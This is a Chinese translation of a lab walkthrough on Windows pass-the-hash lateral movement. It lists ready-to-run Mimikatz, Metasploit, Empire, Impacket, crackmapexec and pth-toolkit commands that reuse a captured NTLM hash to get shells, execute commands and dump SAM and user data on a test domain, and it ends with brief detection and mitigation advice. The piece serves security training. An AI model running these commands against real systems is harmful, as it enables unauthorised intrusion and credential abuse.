PTH攻击总结
2020-05-25 11:00:00 Author: www.4hou.com(查看原文) 阅读量:585 收藏

搞过内网渗透的,你肯定听过pth攻击。这种攻击效果非常显著,微软也是因此在存储凭证方面做了很大的改变。但即使是不断的更新,发布补丁,pth攻击还是存在。今天我们就来一探究竟。

目录

· pth攻击回顾

· 微软更新

· hash和NTLM介绍

· Pth攻击原理

· Zeros取代LM hash

· 实际中的配置

· pth攻击

· Mimikatz

· SMB pth攻击

  · msf scanner/smb/smb_login

  · Empire lateral_movement/invoke_smbexec

  · Impacket smbclient

  · pth-smbclient

  · crackmapexec

· PsExec Pth攻击

  · Msf windows/smb/psexec

  · Msf admin/smb/psexec_command

  · Impacket psexec

· WMI pth攻击

  · Impacket wmiexec

  · Powershell Invoke-WMIExec

  · pth-wmic

  · exe

· RPC Pth攻击

  · Impacket rpcdump

  · pth-rpcclient

  · pth-net

· pth工具

  · PTH Toolkit

    - pth-winexe

    - pth-curl

  · Impacket

    - impacket atexec

    - Impacket lookupsid

    - Impacket samrdump

    - Impacket reg

· Pth检测

· Pth防御

· 参考

· 总结

PTH回顾

在后渗透中,获取会话之后,首先就是要获取凭证和NTLM hash值。从红队的视角来看,Pth只是横向渗透的开始。获得hash之后,攻击者就可以对它加以利用,比如他们可以尝试破解,但破解hash值还是比较困难的,费时费力,还不一定能搞到正确的密码,于是就诞生了另一种方法。我们来看一下认证过程,认证期间,首先是获取用户输入的密码,然后将其加密得到hash值,然后再把这个加密的hash值用于后期的身份认证。初始认证完成之后,windows就把这个hash值保存到内存中,这样用户在使用过程中就不用重复的输入密码。在凭证转存中,我们可以看到,我们提取了很多的hash值。作为攻击者,我们是不知道密码的,所以在认证的时候,我们直接提供hash值,不用提供密码,windows就会与保存的hash值对比,一致的话,认证就会通过。这就是所谓的pth攻击了。

微软的修复措施

微软使用AES加密取代了RC4加密,并且引入了凭证保护机制。这导致很多人认为pth攻击从此就不存在了。然而并非如此,这些修复方式只是让攻击变得更加困难,但是并没有解决问题的本质。确实,经过修复之后,很多工具和技巧都失效了,但有一些还是可以用的。下面我会介绍一些。

Hash和NTLM介绍

加密hash函数其实是一种算法,能够获取任意数据块并返回固定大小的bit字符串,也就是hash值。因此只要数据发生改变,hash也会发生变化。举个简单的例子来说,假如你的密码是123456,对其进行加密得到hash,然后你把密码改成1234567,再加密得到hash,这两个hash值是完全不同的。

微软自windows发布以来,就是用了NTLMv2身份认证协议,并且引入了单点登录系统,将凭证缓存在内存中,以便后续的操作会用到。

Pth攻击过程

pth攻击分为两步:

1.提取hash

假如攻击者入侵了一台机器,他可以直接提取受害主机的hash值,也可以提取与受害主机处于同一网络中的其他主机的hash值。

2.利用hash

接着就是利用获取到的hash来登录到受害主机或者其他主机。

NTLM协议是一套微软安全协议,为用户提供身份验证,完整性和机密性。NT hash值是16字节大小的字符串,是通过MD4算法对密码加密所得到的。

注意:

本文主要讲解如何利用hash绕过认证和pth攻击,不会讲解如何获取hash。关于如何获取hash,大家可以参考下面的文章:

· Credential Dumping: SAM

· Credential Dumping: NTDS.dit

· Credential Dumping: Local Security Authority (LSA|LSASS.EXE)

这里用一串0代替LM hash

自windows10发布以来,LM hash就不再使用了,但是这次我们用到的工具,在NT和LM时代就已经有了,所以在这些工具中,我们将使用32个0的字符串来代替LM hash值。

环境配置

攻击主机

操作系统:kali Linux 2020.1

IP地址:192.168.1.112

靶机

服务器:

OS:windows server2016

IP地址:192.168.1.105

Domain:ignite.local

用户:Administrator

客户端:

OS:windows10

IP地址:192.168.1.106

用户:Yashika

哈希传递攻击-pth攻击

pth攻击在很多场景和技术下都可以使用。首先我们来介绍一下针对常见协议和技术的pth攻击,接着我们会介绍一下能让我们发起pth攻击的不同的工具。本文我们会对这些协议发起pth攻击,如SMB,PsExec,WMI,RPC,RDP等。在开始介绍之前,我们先用mimikatz来测试一下pth攻击。当我们谈到windows安全时,mimikatz绝对是一款神器。这里我们使用administrator及其hash,我们也会谈到域。这个任务需要提权,所以,我们需要执行privilege debug。我们会用到NTLMhash,采用RC4加密存储。执行完成之后,它会打开一个管理员命令窗口,如下图:

privilege::debug
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38

1.png

SMB pth攻击

在网络中,SMB协议是非常重要的,承担着大部分的网络任务。我们先从基本的攻击方开始,如metasploit。

Metasploit:smb_login

Metasploit有一个auxiliary辅助模块,可以通过SMB登录到网络中。这个模块需要设置一些选项。我们准备用用户名和hash字典,在信息收集阶段,我们已经收集了很多用户名和hash,制作成了字典,用于此次攻击,攻击完成后,就可以跑出有效的用户名和hash组合,可以在网络中登录到某台主机。

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.1.105
set user_file user.txt
set pass_file pass.txt
set smbdomain ignite
exploit

2.png

Empire:Invoke_smbexec

如果你metasploit用的不是很6,你也可以用powershell Empire框架。有一个横向渗透模块,基于Invoke-SMBExec.ps1脚本的,也可以使用用户的hash值来登录。在这次测试中,我们使用administrator及其hash值。前面我们说过,因为windows已经不再使用LM hash值,我们会用一串0来代替它。选择模块之后,设置必要的参数,然后运行:

usemodule lateral_movement/invoke_smbexec
set ComputerName WIN-S0V7KMTVLD2.ignite.local
set Username Administrator
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set Listener http
execute

3.png

如图,攻击成功,我们获得了administrator的会话,我们可以输入一个ipconfig命令来确认下会话是否成功建立,如下图:

4.png

Impacket:smbclient.py

Impacket是一款功能非常强大的工具包,在我们与服务器交互时大有帮助。使用也特别简单,只需要一行命令即可,特别适合我这种懒人。Impacket工具包中,有一个smbclient.py脚本,可以用来发起SMB攻击。它一般需要密码才能登录,但是我们这里可以尝试输入hash值进行登录。果不其然,Impacket就是好用,也可以登录。同样,我们用0代替LM hash值,然后设置一下用户名,hash,域。另外我们还需要输入一个ip地址,因为我们是在kali上运行的,而且不在域环境的内网中。

python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/[email protected]

 5.png

连接成功后,就可以执行大量命令来与SMB交互了。

更多Impacket用法,请参考:https://www.hackingarticles.in/impacket-guide-smb-msrpc/

PTH-smbclient

PTH是kali中内置的一款工具包,我们稍后会讲到它,它也可以对SMB服务发起pth攻击。同样,也是需要设置基本参数信息,域,用户名 ,IP地址和密码。我们这里输入密码hash,如下图所示,也可以成功访问到靶机,这个脚本真的是又快又好用:

pth-smbclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$

6.png

Crackmapexec

Crackmapexec是我最喜欢的工具,功能强大,而且执行速度超快。用Crackmapexec来发起pth攻击并在靶机上执行命令当然也是ok的,需要输入IP地址,用户名,密码以及想要执行的命令。这里我们用hash值代替密码,这次hash值我们就不用0了,因为这款工具使用NT hash也是可以运行的:

crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38

7.png

更多关于Crackmapexec的技巧,请参考:活动目录横向渗透之Crackmapexec

PsExec pth攻击

这款工具能让系统管理员执行其他系统上的进程。对于控制台应用,它完全是交互式的。它是一个可执行文件,不需要安装,属于开箱即用那种。PsExec主要用在启动远程系统的交互式命令窗口并执行远程命令如ipconfig,这个命令本来是无法显示远程系统的信息的。

Metasploit:psexec

还是直接上MSF吧,这个框架真的是一个特别趁手可靠的框架。开启msf后,直接搜索PsExec,然后use一下,接着设置一些基本参数,目标IP,用户名,密码和域。   密码字段我们直接传递hash值,也是没问题的。执行之后,就会返回我们提供的用户的meterpreter会话。

use exploit/windows/smb/psexec
set rhosts 192.168.1.105
set smbuser administrator
set smbdomain ignite
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
exploit

8.png

Metasploit:psexec_command

msf中还有一个psexec_command模块,这个模块可以在远程机器上执行命令。这个模块使用效果更好,因为它更加隐蔽,而且不留痕迹。执行特定的命令然后就退出。所需的参数跟psexec差不多,但是另外还需要一个参数,就是在远程机器上执行的命令。本次测试中,我们就执行一个基本命令”net user”,来查看远程主机上的用户。

use admin/smb/psexec_command
set rhosts 192.168.1.105
set subdomain ignite
set smbuser administrator
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set command net user
run

9.png

Impacket:psexec.py

Impacket工具包也有一个psexec脚本,这也是我把它作为PsExec一类列出来的原因。用法跟我们上面测试的smbclient.py非常相似。不同之处是获得的shell类型。smbclient.py获得的是SMB shell。这个脚本获得的是正常的系统shell。

python psexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 [email protected]

10.png

关于SMB与PsExec的pth攻击部分就讲到这里,接下来我们开始将WMI部分。

WMI pth攻击

WMI是微软的一套管理规范,整合了windows网络中设备和应用程序的管理。WMI为用户提供了基本信息,并且让用户有权限执行各种管理任务。这种权限是通过身份认证来实现的。当我们有了凭证的时候,我们就可以执行pth攻击来通过身份认证了。

Impacket:wmiexec.py

Impacket有一个脚本可以利用WMI来获得靶机的会话并执行各种任务。执行这些任务需要用户的凭证。同样地,我们不用密码,直接使用hash值,看看能不能通过这个脚本获得靶机的会话。需要设置的参数,用户名,IP地址,hash值:

python wmiexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 [email protected]

11.png 

Powershell:Invoke-WMIExec

Powershell中也有一个非常实用的脚本,Invoke-WMIExec,是国外一个大牛设计的,也可以远程访问WMI。工作原理跟上面的脚本差不多。它不会返回一个会话,但是可以在远程靶机上执行任务。假如我们要远程修改另一台系统上的配置和策略,这个场景下,该脚本就非常适用。需要设置的参数,IP地址,域,用户名以及hash值。然后我们再提供一个需要执行的命令,我打算在远程靶机上创建一个名为”hacked”的文件夹,于是我构造了如下的命令:

首先下载Invoke-WMIExec.ps1脚本,

https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1

然后执行:

Invoke-WMIExec -Target 192.168.1.105 -Domain ignite -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command "cmd /c mkdir c:\hacked" -Verbose

12.png 

执行完后,我们可以看到,已经成功在远程靶机上创建了”hacked”文件夹。

13.png

Wmic pth攻击

回到PTH脚本,它们也有WMI接口,即wmic。无需安装,kali内置。直接从终端中输入命令运行即可,提供域,用户名,hash值,IP地址以及要执行的命令等参数,不过有一点要注意,此方法只能执行一些WMI命令,无法执行其他命令。本次测试中,我们尝试获取靶机的用户列表,命令如下:

pth-wmic -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 "select Name from Win32_UserAccount"

14.png

wmiexec.exe

当然了,对于那些热衷于使用可执行文件的人,也是有相对应的工具的,这里我们介绍的就是wmiexec.exe。它是由Impacket中的wmiexec.py脚本生成的。所需参数:域,用户名,IP地址和hash值,执行完之后会获得一个我们输入的用户的shell:

下载wmiexec.exe

https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe

然后执行如下命令:

wmiexec.exe -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/[email protected]

15.png

ok,WMI的pth攻击就到这里,接下来开始讲解神奇的RPC协议。

RPC pth攻击

RPC,也就是远程过程调用,它是一种协议,应用程序可以通过RPC来调用网络中其他远程系统上的特定服务。如果我们能在认证过程中传递hash值,我们就能从特定的靶机上获取一些基本的终端信息。

Impacket:rpcdump.py

Impacket团队还开发了一个非常不错的脚本,能帮助我们获取目标靶机上的RPC端点列表。因为需要认证,所以我们将会通过pth攻击来获取端点信息,参数设置:域,用户名,IP地址及hash值。命令如下:

python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/[email protected]

16.png

PTH-rpcclient

pth工具包中也有一个针对RPC协议的攻击方法,它可以返回一个交互式会话,能够执行一些RPC命令。如果你想要收集关于网络和其他一些信息的话,这些RPC命令也是很有帮助的。获得访问权限后,我们可以通过执行srvinfo命令来获取系统的基本信息,工具所需参数及格式如下:

pth-rpcclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105

17.png

PTH-net

PTH-net工具可以执行一些net命令,如net user,net share等,这里把它列入RPC的范畴,是因为它也可以通过RPC协议来执行这些任务。这里我们准备通过网络来获取共享信息,如图所示,很快我们就获得了所有的共享信息。这款工具需要启用了RPC协议,其他参数一样:要执行的命令,域,用户名,hash值,IP地址:

pth-net rpc share list -U 'ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.105

18.png

PTH工具包

早在2012年BlackHat大会的时候,就引入了一堆pth攻击脚本,这些脚本在Google Code Archive上都有。因为好用并且广受欢迎,kali在2013年发行版中便内置了这些工具。在pth工具包中,包含以下工具:

· pth-curl

· pth-rpcclient

· pth-smbget

· pth-winexe

· pth-wmic

· pth-net

· pth-smbclient

· pth-sqsh

· pth-wmic

这些工具可以协助攻击者在网络中发起pth攻击。上面我们已经介绍过一部分,下面我们继续介绍一些其他的。

PTH-winexe

我们已经熟悉了winexe可以执行远程windows命令,但是我们需要提供目标主机的用户凭证和IP地址,而这个工具,让我们可以直接输入hash值来进行认证,不用再输入密码,所以我们只需要提供用户名,hash值,IP地址,命令或者是想要执行的可执行文件名。这里我们打算执行一个cmd来获取shell,执行之后,我们进入到了system32这个目录:

pth-winexe -U Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 cmd.exe

19.png

接下来为了演示另一个工具,我们切换到inetpub/wwwroot目录,如上图,可以看到有一个file.txt文件。

注意:inetpub目录是安装IIS服务器后自动生成的。

PTH-curl

curl命令也是非常强大的,它可以做很多事情,执行pth攻击当然也是不在话下了。一般而言,curl从目标服务器上获取特定文件也是需要通过认证的。我们可以使用pth-curl命令来发起pth攻击,使用hash进行认证,然后从目标靶机上下载file.txt,就是上面inetpub/wwwroot目录下的file.txt文件。

pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt

20.png

如图可以看到,显示了file.txt文件里的内容。

Impacket

上面已经介绍了一部分很不错的Python脚本了,它们具体能做的,肯定比我们想象的要多,这些脚本包括smbclient.py,psexec.py,wmiexec.py,rpcdump.py等,在pth攻击中,效果都非常不错,但是在Impacket工具包中,可不止这些工具,还有很多其他工具也能执行pth攻击,再简单介绍几个:

Impacket:atexec.py

atexec是一种可以连接远程系统的方法。它利用的是计划任务服务在目标系统上执行命令。需要设置的参数:用户凭证,IP地址,域,要执行的命令。同样,我们用hash值代替密码,执行pth攻击,如下图,完美生效:

python atexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 [email protected] whoami

21.png

Impacket:lookupsid.py

lookupsid这个脚本,能够同时遍历本地用户和域用户。需要设置的参数:域,用户名,密码,IP地址。我们把密码替换成hash值,试试pth攻击,如图,通过认证后,成功了遍历出了一堆用户名:

python lookupsid.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/[email protected]

22.png

Impacket:samrdump.py

samrdump是一个利用SAM(安全账户管理器),来获取指定目标系统敏感信息的应用程序。需要设置的参数跟上面一样,域,用户名,密码 IP地址。我们把密码替换成hash值,然后执行:

python samrdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/[email protected]

如图所示,我们获取到了SAM数据:

23.png

Impacket:reg.py

reg.py脚本可以读取,修改和删除注册表值。通过pth攻击来攻击目标系统并修改它的注册表值,会真的对系统造成危害。攻击者可以通过修改注册表项让目标系统更加脆弱,甚至不堪一击,当然也可以生成一个永久后门,这种后门几乎没有痕迹,很难追踪定位。需要设置的参数:域,用户名,密码,IP地址,以及你想修改的注册表项:

python reg.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/[email protected] query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s

24.png

更多Impacket信息,请参考:Impacket指南:SMB/MSRPC

Pth攻击检测

个人如果想要检测网络中是否存在pth攻击,可以采取以下措施:

· 监控日志,发现本文中提供的pth攻击工具进行告警

· 监控主机上的异常行为,如试图篡改LSASS进程

· 监控配置文件中的异常更改,因为pth攻击可能会修改这些配置(LocalAccountTokenFilterPolicy, WDigest等)

· 监控单个IP地址的多个成功或失败的连接

PTH攻击缓解措施

· 禁用 LocalAccountTokeFilterPolicy 设置

· 使用LAPS 本地密码管理方案

· 使用强身份认证策略

参考资料

· SANS Pass-the-Hash in Windows 10

· Kali Pass the Hash Toolkit

· MITRE|ATT&CK Pass the Hash

· Black Hat USA 2012

总结

这种攻击是windows安全团队无法避免的。这种攻击发生在windows认证过程的核心位置,简单的修复措施肯定是无法杜绝pth攻击的。我们要明白pth攻击的严重性,要知道pth攻击在2010年就达到了顶峰,到现在10年过去了,pth依然存在。

本文翻译自:https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/DPqY
如有侵权请联系:admin#unsafe.sh